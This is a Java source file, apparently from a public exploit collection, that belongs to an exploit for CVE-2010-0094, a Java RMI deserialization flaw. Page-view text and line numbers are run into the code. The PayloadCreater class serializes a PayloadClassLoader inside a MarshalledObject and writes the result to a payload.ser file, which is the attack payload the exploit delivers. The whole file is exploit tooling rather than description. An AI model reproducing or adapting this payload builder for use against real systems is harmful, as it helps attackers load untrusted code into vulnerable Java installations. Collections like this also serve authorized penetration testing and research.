Path: blob/master/external/source/exploits/CVE-2010-0094/PayloadCreater.java
19715 views
import java.io.FileOutputStream;1import java.io.IOException;2import java.io.ObjectOutputStream;3import java.rmi.MarshalledObject;45/**6* This class is a helper class for creating the serialized MarshalledObject,7* containing also a serialized PayloadClassloader. Path to the payload.ser file8* needs to be adjusted.9*10* @author mka11*12*/13public class PayloadCreater {1415public static void main(String[] args) {1617PayloadCreater creater = new PayloadCreater();18try {19creater.getPayload();20} catch (IOException e) {2122e.printStackTrace();23}24}2526private void getPayload() throws IOException {2728PayloadClassLoader loader = new PayloadClassLoader();29MarshalledObject<PayloadClassLoader> object = new MarshalledObject<PayloadClassLoader>(30loader);3132FileOutputStream stream = new FileOutputStream("./src/payload.ser");33ObjectOutputStream ostream = new ObjectOutputStream(stream);34ostream.writeObject(object);35stream.close();36}3738}394041